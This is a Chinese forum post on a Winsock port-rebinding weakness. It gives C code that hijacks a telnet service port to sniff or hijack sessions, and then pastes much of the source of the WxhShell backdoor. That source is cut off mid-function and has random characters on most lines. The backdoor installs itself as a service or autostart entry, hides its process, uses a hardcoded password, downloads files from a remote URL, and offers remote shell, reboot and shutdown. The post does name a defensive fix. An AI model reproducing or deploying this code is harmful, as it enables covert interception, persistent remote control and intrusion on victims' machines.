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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >]dH1@@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WR :I2-1  
 =&8Cg  
  saddr.sin_family = AF_INET; )#%v1rR  
 yxx9h3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |[+/ ]Y  
NC @L,)F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^uCZO  
-d+o\qp"#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d U}kimz  
I9VU,8~  
  这意味着什么?意味着可以进行如下的攻击: 7cMHzh k^  
m7 $t$/g  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Gf<f#.5y ,  
eVRPjVzQ'Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9_Ws8nE  
,S V34+(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FTJvkcc?m  
UI]UxEJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?GT,Y5  
b f j]Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V'M#."Of/  
*!5X!\e_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B'}pZOa[Wb  
xq@_' 3X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H*KZZTKd  
W ])Lc3X  
  #include JmBe1"hs  
  #include oVAY}q|wU  
  #include :iEIo7B  
  #include    R!z32 <5k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `fM]3]x>  
  int main() E7`Q =4@e  
  { KAI/*G\z  
  WORD wVersionRequested; @h E7F}  
  DWORD ret; Ge_Gx*R  
  WSADATA wsaData; e8,!x9%J  
  BOOL val; %=*nJvYS  
  SOCKADDR_IN saddr; *]K/8MbiF  
  SOCKADDR_IN scaddr; o=)["V  
  int err; Dkyw3*LCn%  
  SOCKET s; ;N?raz2mEi  
  SOCKET sc; @3v[L<S{  
  int caddsize; EvGKcu  
  HANDLE mt; D/oO@;`'c  
  DWORD tid;   !;%+1j?d  
  wVersionRequested = MAKEWORD( 2, 2 ); #+ai G52+  
  err = WSAStartup( wVersionRequested, &wsaData ); /RBIZ_  
  if ( err != 0 ) { E``\Jre@  
  printf("error!WSAStartup failed!\n"); w f""=;  
  return -1; 8#h~J>u.  
  } ~ !7!Y~(+  
  saddr.sin_family = AF_INET; bNh~=[E  
   hi0-Sw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wQw&.)T  
T`W37fz0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6` 4,  
  saddr.sin_port = htons(23); phP%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =IEei{  
  { c[zGWF#1>  
  printf("error!socket failed!\n"); w|[{xn^R  
  return -1; LXq0hI  
  } S4C4_*~Vd  
  val = TRUE; q]rqFP0C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LB\+*P6QM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) []<N@a6VA>  
  { DP6>fzsl  
  printf("error!setsockopt failed!\n"); s$ZKd  
  return -1; shuoEeoo  
  } qBF}-N_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hOM#j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VK[`e[.C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,cFBLj(@  
 YF$nL(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h { M=V  
  { W8N__  
  ret=GetLastError(); :Oh*Q(>  
  printf("error!bind failed!\n"); (X/dP ~  
  return -1; 2*pNIc  
  } *}RV)0mif  
  listen(s,2); N?l  
  while(1) b~Un=-@5a  
  { qk_YFR?R  
  caddsize = sizeof(scaddr); ['_W <  
  //接受连接请求  CT[CM+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JWV n@)s  
  if(sc!=INVALID_SOCKET) |0$7{nQ  
  { 'q7&MM'oS^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hwi$:[  
  if(mt==NULL) xz*MFoE  
  { nq 9{{oe  
  printf("Thread Creat Failed!\n"); E6+ 6  
  break;  I#U)  
  } 7R#$Hm  
  } $^5c8wT  
  CloseHandle(mt); bOdQ+Y6  
  } HSlAm&Y\  
  closesocket(s); I;UCKoFT  
  WSACleanup(); I'c rH/z9  
  return 0; H]PEE!C;xC  
  }   PwS7!dzH-  
  DWORD WINAPI ClientThread(LPVOID lpParam) fp2uk3Bm[  
  { WVdF/H  
  SOCKET ss = (SOCKET)lpParam; @XN*H- |  
  SOCKET sc; (dHil#l  
  unsigned char buf[4096]; 4Ixu%  
  SOCKADDR_IN saddr; h: Hpz  
  long num; 4=C7V,a  
  DWORD val; !~-@p?kW/  
  DWORD ret; 4%>2 >5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v O@7o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   CH] +S>$  
  saddr.sin_family = AF_INET; qrkJ:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @2/ xu  
  saddr.sin_port = htons(23); Z ItS(o J.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nEfQLkb[|  
  { i _YJq;(  
  printf("error!socket failed!\n"); 2+}hsGnp  
  return -1; LLd5Z44v  
  } z c&i 4K  
  val = 100; H{+[ ,l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;hCUy=m.  
  { @!,W]?{  
  ret = GetLastError(); _\u?]YTv  
  return -1; N'=b8J-fF  
  } R:, |xz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =S<E[D{V`  
  { ;3 /*Z5p  
  ret = GetLastError(); w3 K>IDWI7  
  return -1; +OfHa\Nz  
  } #OVS]Asn}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x]pZcx9  
  { lJ(] ;/%  
  printf("error!socket connect failed!\n"); P|rreSv*  
  closesocket(sc); *B%ulsm  
  closesocket(ss); \PM5B"MDZ  
  return -1; p&W{g $D>  
  } f!13Ob<8r  
  while(1) qV:TuR-|w  
  { !d{Ijs'T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VPUm4%?p$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FV5~sy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2i~zAD'  
  num = recv(ss,buf,4096,0); [=& tN)_  
  if(num>0) r@ v&~pL  
  send(sc,buf,num,0); f_;6uCCO  
  else if(num==0) &m{vLw  
  break; ?xYoCn}Z  
  num = recv(sc,buf,4096,0); 8w9?n3z=}  
  if(num>0) p(pL"  
  send(ss,buf,num,0); xAu&O\V  
  else if(num==0) Zz^!QlF  
  break; `+5,=S  
  } VZCCMh-  
  closesocket(ss); K yDPD'  
  closesocket(sc); \KkAU6  
  return 0 ; \><v1x>;  
  } #jT=;G7f2  
R[f@g;h  
9 $ Ud\   
========================================================== d5l].%~  
(<ngdf`,  
下边附上一个代码,,WXhSHELL ~zyD=jx P9  
V@`A:Nc_>  
========================================================== Z lR2  
CNrK]+>  
#include "stdafx.h" C#:L.qK  
5v5K}hx  
#include <stdio.h> cnR18NK  
#include <string.h> :i/uRR  
#include <windows.h> 0%;y'd**Ck  
#include <winsock2.h> *L=F2wW  
#include <winsvc.h> >f-*D25f%  
#include <urlmon.h> f<Xi/ (  
Ue!~|:  
#pragma comment (lib, "Ws2_32.lib") #Y<(7  
#pragma comment (lib, "urlmon.lib") TRku(w1f  
N\W4LO6  
#define MAX_USER   100 // 最大客户端连接数 DH'0#  
#define BUF_SOCK   200 // sock buffer <a)L5<#  
#define KEY_BUFF   255 // 输入 buffer q*d@5  
Ou wEO   
#define REBOOT     0   // 重启 s#%P9A  
#define SHUTDOWN   1   // 关机 0)E`6s#M  
Y<[jUe`O;  
#define DEF_PORT   5000 // 监听端口 |$sMzPCxOk  
&*;E wfgZ  
#define REG_LEN     16   // 注册表键长度 T56%3i  
#define SVC_LEN     80   // NT服务名长度 cB|Rj}40v  
9s`j@B0N57  
// 从dll定义API `xie/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); } .'\IR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?/FCq6o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g<jgR*TE`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qN(,8P\90  
]n^TN r7  
// wxhshell配置信息 (cdtUE8  
struct WSCFG { V8+8?5'l  
  int ws_port;         // 监听端口 GOj<>h}r  
  char ws_passstr[REG_LEN]; // 口令 ?@5#p*u0  
  int ws_autoins;       // 安装标记, 1=yes 0=no \@hq7:Q  
  char ws_regname[REG_LEN]; // 注册表键名 X'.*I])  
  char ws_svcname[REG_LEN]; // 服务名 *k<{nj@y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2; ~jKR[~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (sL!nRw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #*x8)6Ct  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jZP~!q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [ @`Ki  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7$|L%Sk  
W B7gY\Y&M  
}; M\)(_I)V=  
=`fz#Mfd  
// default Wxhshell configuration wH0Ks5  
struct WSCFG wscfg={DEF_PORT, 2qe]1B;  
    "xuhuanlingzhe", a@niig  
    1, 2y@y<38  
    "Wxhshell", H3Sfz'  
    "Wxhshell", P#N@W_""YD  
            "WxhShell Service", P=PVOt@ b  
    "Wrsky Windows CmdShell Service", VY_<c98v  
    "Please Input Your Password: ", 82A[[^`  
  1, RZ GD5`n  
  "http://www.wrsky.com/wxhshell.exe", z<z\)  
  "Wxhshell.exe" kbKGGn4u  
    }; X}R Q&k  
8w L%(p  
// 消息定义模块 8 rA'd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x'hUw*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PBY ^m+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mYw9lM  
char *msg_ws_ext="\n\rExit."; Z9k"&F ~u}  
char *msg_ws_end="\n\rQuit."; {[$JiljD  
char *msg_ws_boot="\n\rReboot..."; 4I7;/ZgALQ  
char *msg_ws_poff="\n\rShutdown..."; /I@Dv?  
char *msg_ws_down="\n\rSave to "; }S}9Pm,:  
/Lt Lu  
char *msg_ws_err="\n\rErr!"; 1 -:{&!  
char *msg_ws_ok="\n\rOK!"; 'c&S%Ra[3G  
p!RyxB1.|  
char ExeFile[MAX_PATH]; $hE,BeQ  
int nUser = 0; O.^1r  
HANDLE handles[MAX_USER]; NI33lp$V  
int OsIsNt; VVVw\|JB>  
P DtLJt$  
SERVICE_STATUS       serviceStatus; ~$:=hT1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :iVEm9pB)  
Ld$e  -dB  
// 函数声明 ?^3Q5ye  
int Install(void); a+#Aitd  
int Uninstall(void); yjB.-o('  
int DownloadFile(char *sURL, SOCKET wsh); DqbU$jt`  
int Boot(int flag); +y\mlfJ.-b  
void HideProc(void); Y.}8lh eH  
int GetOsVer(void); q:X&)f  
int Wxhshell(SOCKET wsl); #(f- cK  
void TalkWithClient(void *cs); @-H D9h  
int CmdShell(SOCKET sock); _ tO:,%dL  
int StartFromService(void); (Aw!K`0Y1  
int StartWxhshell(LPSTR lpCmdLine); Q~S3d  
{Bm7'%i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &&er7_Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j%@wQVxq  
tG}cmK~%  
// 数据结构和表定义 aH+n]J] =)  
SERVICE_TABLE_ENTRY DispatchTable[] = 0Er;l|  
{ CHo(:A.U>  
{wscfg.ws_svcname, NTServiceMain}, !3T,{:gyrI  
{NULL, NULL} ,~^BoH}  
}; {c\KiWN  
6}S1um4 F  
// 自我安装 o u*`~K|R  
int Install(void) jg+q{ ^  
{ }"o,j>IP  
  char svExeFile[MAX_PATH]; 1KWGQJ%%s  
  HKEY key; R#w9%+  
  strcpy(svExeFile,ExeFile); Y~C;M6(P  
6p1)wf.J  
// 如果是win9x系统,修改注册表设为自启动 "+GKU)  
if(!OsIsNt) { vhot-rBN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?)i`)mu'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ed6eC8@  
  RegCloseKey(key); _|qs-USA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WEVV2BJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $(JB"%S8c  
  RegCloseKey(key); QH.zsqf(  
  return 0; T3#KuiwU9  
    } >wJt# ZB  
  } 3I%F,-r  
} @ - _lw  
else { A:5B6Z  
#mvOhu  
// 如果是NT以上系统,安装为系统服务 ,[t>N>10TH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v#WD$9QWs  
if (schSCManager!=0) T>\ r}p  
{ Sm(t"#dp  
  SC_HANDLE schService = CreateService F3 z:|sTqc  
  ( *&A/0]w  
  schSCManager, mw,\try  
  wscfg.ws_svcname, ,oS<9kC68  
  wscfg.ws_svcdisp, 2\, h "W(  
  SERVICE_ALL_ACCESS, lhRo+X#G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w=MiJr#3^  
  SERVICE_AUTO_START, Q@HW`@i  
  SERVICE_ERROR_NORMAL, 8M9}os  
  svExeFile, $yY\[C  
  NULL, i$b Het  
  NULL, u#sbr8Y  
  NULL, U~1jmxE  
  NULL, lIDGL05f'  
  NULL Pe<}kS m4  
  ); g (:%E  
  if (schService!=0) bL9EX$P  
  { ?!d\c(5Gt  
  CloseServiceHandle(schService); 0z1UF{{  
  CloseServiceHandle(schSCManager); k),!%6\(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N5Rda2m  
  strcat(svExeFile,wscfg.ws_svcname); *4oj' }  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vE=)qn=a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {YzRf S  
  RegCloseKey(key); U#{^29ik=o  
  return 0; Jx(`.*$  
    } 9;B6<`e/U  
  } eTrIN,4  
  CloseServiceHandle(schSCManager); G<f"_NT  
} %@9pn1,  
} 3$Y(swc  
,j|9Bs  
return 1; IS9}@5`'  
} $&l} ABn  
? pkg1F7  
// 自我卸载 c5f8pa *  
int Uninstall(void) M^twD*  
{ *6b$l.Vs  
  HKEY key; *4<Kz{NF  
_Boe"   
if(!OsIsNt) { Sy?O(BMo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +_h1JE_}D  
  RegDeleteValue(key,wscfg.ws_regname); L dyTB@  
  RegCloseKey(key); %:~LU]KX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7[}K 2.W.  
  RegDeleteValue(key,wscfg.ws_regname); ]J aV +b'O  
  RegCloseKey(key); 1tMs\e-  
  return 0; ,&X7D]  
  } }&I^1BHZs  
} yu>DVD  
} sVjM^y24  
else { (" ,(@nS  
Oi~ ]~+2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @C34^\aH+  
if (schSCManager!=0) ^A"TY  
{ ci~pM<+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 00d<V:Aoy  
  if (schService!=0) DL:wiQ  
  { B-`,h pp  
  if(DeleteService(schService)!=0) { !gm;g}]szG  
  CloseServiceHandle(schService); ;E{k+vkqy  
  CloseServiceHandle(schSCManager); j>KJgSs]&\  
  return 0; ]*M-8_D  
  } ">LX>uYmX-  
  CloseServiceHandle(schService); 1aQR9zg%  
  } ![OKmy  
  CloseServiceHandle(schSCManager); 7Y>17=|  
} GV aIZh<  
} S3oSc<&2  
vg6 ' ^5S7  
return 1; jZX2)#a!  
} hCcAAF*I;5  
#A RQB2V  
// 从指定url下载文件 |*w}bT(PfR  
int DownloadFile(char *sURL, SOCKET wsh) `?H yDny  
{ :"pA0oB  
  HRESULT hr; ,iQRf@#W_b  
char seps[]= "/"; uN)o|7  
char *token; 6zGM[2  
char *file; +v7mw<6s  
char myURL[MAX_PATH]; fA k]]PU  
char myFILE[MAX_PATH]; #_b U/rk)*  
q4~w D  
strcpy(myURL,sURL); IJ`%Zh{f  
  token=strtok(myURL,seps); scsN2#D7U/  
  while(token!=NULL) I!L`W _  
  { _+vE(:T  
    file=token; >5aZ?#TS1  
  token=strtok(NULL,seps); VW[!%<  
  } /4}B}"`Sl=  
mT7B#^H  
GetCurrentDirectory(MAX_PATH,myFILE); kX2bU$1Q,i  
strcat(myFILE, "\\"); i#lnSJ08  
strcat(myFILE, file); v9<'nU WVR  
  send(wsh,myFILE,strlen(myFILE),0); 0E5"}8  
send(wsh,"...",3,0); *88Q6=Mm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aBN^J_  
  if(hr==S_OK) ~rN:4Q]/  
return 0; &`RD5uml  
else Y$%z]i5   
return 1; )M!6y%b67  
:U}.  
} TBGN',,  
_=wu>h&7  
// 系统电源模块 B`)gXqBt  
int Boot(int flag) VJeoO)<j  
{ _shoh  
  HANDLE hToken; BXCB/:0  
  TOKEN_PRIVILEGES tkp; r^m8kYezQ  
`k 5'nnyP  
  if(OsIsNt) { R@+%~"Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X &z|im'd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f[AN=M"B"s  
    tkp.PrivilegeCount = 1; *K<|E15 ,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qrnc;H9)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !Rq.L  
if(flag==REBOOT) { 1TagQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ry B*eZH  
  return 0; j`'9;7h M6  
} w6RB|^  
else { /.{q2]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $E j;CN59  
  return 0; (&W&1KT  
} iE~][_%U  
  } #}8l9[Q|M  
  else { :oYz=c  
if(flag==REBOOT) { EU@ BNja  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rY~!hZ  
  return 0; ,#u"$Hz8p  
} _DlX F  
else { _:B/XZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vG{+}o#  
  return 0; ,u:J"epM  
} e6 R<V]g  
} !>,\KxnM  
3?do|>  
return 1; [dQL6k";b  
} kgq"b)  
y .O%  
// win9x进程隐藏模块 m>H+noc^  
void HideProc(void)  rk F>c  
{ y*BS %xTF  
?YeUA =[MC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eWgqds&#  
  if ( hKernel != NULL ) GQ@`qYLZ+  
  { j.?c~Fh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 95wi~^^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ji|+E`Nii  
    FreeLibrary(hKernel); _6tir'z  
  } Cggu#//Z}Q  
Ap :mc:  
return; wb#ZRmx}  
} e2~$=f-  
bvxol\7;  
// 获取操作系统版本 @d+NeS  
int GetOsVer(void) lR[]A  
{ K~C6dy  
  OSVERSIONINFO winfo; EO_:C9=d{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -KuC31s_W  
  GetVersionEx(&winfo); B"@3Qav3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DFk0"+Ky  
  return 1; m=qEQy6#2u  
  else ho'Ihep,L  
  return 0; L<}0}y  
} ^Uj\s /  
*&=sL  
// 客户端句柄模块 uPmK:9]3R  
int Wxhshell(SOCKET wsl) gPW% *|D,  
{ u6B,V  
  SOCKET wsh; (R9{wGV [  
  struct sockaddr_in client; l"{1v ~I  
  DWORD myID; u/I|<NAC,  
XY_zF F  
  while(nUser<MAX_USER) tyW5k(>  
{ R2e":`0I  
  int nSize=sizeof(client); *N C9S,eSP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a_GnN\kX^Z  
  if(wsh==INVALID_SOCKET) return 1; -/ltnx)j  
KF%tF4^+|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,ce sQ ou  
if(handles[nUser]==0) <-]qU}-  
  closesocket(wsh); mm l`,t8  
else DL t"cAW  
  nUser++; FQ3{~05T  
  } P[G.LO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); As y&X  
"CX@a"  
  return 0; uZg[PS=@!X  
} ~l^Q~W-+  
mB.j?@Y%  
// 关闭 socket MXsCm(  
void CloseIt(SOCKET wsh) mBrH`!  
{ @U 6jd4?)  
closesocket(wsh); +sW;p?K7eO  
nUser--; kL7n`o  
ExitThread(0); #Ns]l<  
} L/[b~D>T%  
=(3Yj[>st  
// 客户端请求句柄 9sgyg3fv>5  
void TalkWithClient(void *cs) pGsk[.  
{ k6}M7 &nY  
*K57($F  
  SOCKET wsh=(SOCKET)cs; TI<?h(*R_  
  char pwd[SVC_LEN]; &P0jRT3e#Y  
  char cmd[KEY_BUFF]; v>[U*E  
char chr[1]; w YEkWB^  
int i,j; &c|3v!  
4X1!t   
  while (nUser < MAX_USER) { y37c&XYq  
 Fhk 8  
if(wscfg.ws_passstr) { >iKbn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r'bPSu,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^5GyW`a}  
  //ZeroMemory(pwd,KEY_BUFF); )Z=S'm k4_  
      i=0; r=J+  
  while(i<SVC_LEN) { R/O>^s!Co  
!bq3c(d  
  // 设置超时 Qms,kX  
  fd_set FdRead; QMz6syn4u  
  struct timeval TimeOut; vg"$&YX9"  
  FD_ZERO(&FdRead); %3:[0o={d  
  FD_SET(wsh,&FdRead); J-k/#A4o  
  TimeOut.tv_sec=8; K!+IRA@  
  TimeOut.tv_usec=0; 8E+]yB"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); moOc G3=9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +NT8dd  
O6[ 4=4L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _1hiNh$  
  pwd=chr[0]; @~+W  
  if(chr[0]==0xd || chr[0]==0xa) { QyEGK  
  pwd=0; %0gcNk"=  
  break; }t FRl  
  } M}S1Zz%Ii1  
  i++; c{,VU.5/  
    } Jqp;8DV}  
v] ?zG&Jh  
  // 如果是非法用户,关闭 socket "G[yV>pxv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [Nw%fuB  
} wyi%!H  
6SqS\ 8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LK}*k/eG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &*nq.l76X`  
+@"Ls P  
while(1) { e*!0|#-  
0^m`jD  
  ZeroMemory(cmd,KEY_BUFF); I;g>r8N-Bu  
v.q`1D1=t  
      // 自动支持客户端 telnet标准   "T4buTXJ  
  j=0; *De}3-e1b  
  while(j<KEY_BUFF) { \+T U{vr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wR%F>[ 6.{  
  cmd[j]=chr[0]; Ds<~JfVl  
  if(chr[0]==0xa || chr[0]==0xd) { !LX)  
  cmd[j]=0; ,s~d39{  
  break; itn<c2UyA  
  } ng6".u9  
  j++; ]=28s *@  
    } iU/v; T(  
f =MP1q[  
  // 下载文件 O}3|UI!`  
  if(strstr(cmd,"http://")) { !SPu9:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =A]*r9  
  if(DownloadFile(cmd,wsh)) sd,KB+)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WcOnv'l,  
  else TZ+- >CG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =H_vRd  
  } (~ `?_  
  else { @d1YN]ede  
3Jh!YzI8  
    switch(cmd[0]) { l8~s#:v6X  
  %E k!3t  
  // 帮助 Ef]<0Tm]:  
  case '?': { (Zz8 ldO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dQQ!QbI(.  
    break; 6BdK)s  
  } ) -^(Su(!  
  // 安装 @j`gx M_-O  
  case 'i': { ?e#bq]  
    if(Install()) p&$O}AX|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /_[?i"GW  
    else /iw$\F |8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 35KRJY#  
    break; rT"3^,,  
    } kQw%Wpuq[/  
  // 卸载 xS+!/pBf"Y  
  case 'r': { k~XDwmt;  
    if(Uninstall()) s`2q(`}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + usB$=kJ  
    else gA:unsI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )&s9QBo{b  
    break; I&wJK'GM`  
    } <;lwvO  
  // 显示 wxhshell 所在路径 ey@{Ng#  
  case 'p': { TFG0~"4Cz  
    char svExeFile[MAX_PATH]; 7tP qez#  
    strcpy(svExeFile,"\n\r"); +'0V6 \y  
      strcat(svExeFile,ExeFile); O)8$aAJ)V  
        send(wsh,svExeFile,strlen(svExeFile),0); &[7z:`+Y##  
    break; AaLbJYuKd  
    } P}=U #AV4  
  // 重启 ' >k1h.i  
  case 'b': { yXT.]%)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +.-g`Vyz*  
    if(Boot(REBOOT)) | r,{#EE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D%*Ryg  
    else { < #zd]t  
    closesocket(wsh); jRN>^Ur;g  
    ExitThread(0); f=IF_|@^S  
    } ):]5WHYg  
    break; vyvb-oz;u  
    } sH.,O9'r  
  // 关机 JLak>MS  
  case 'd': { "9X1T]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f7b6!R;z_  
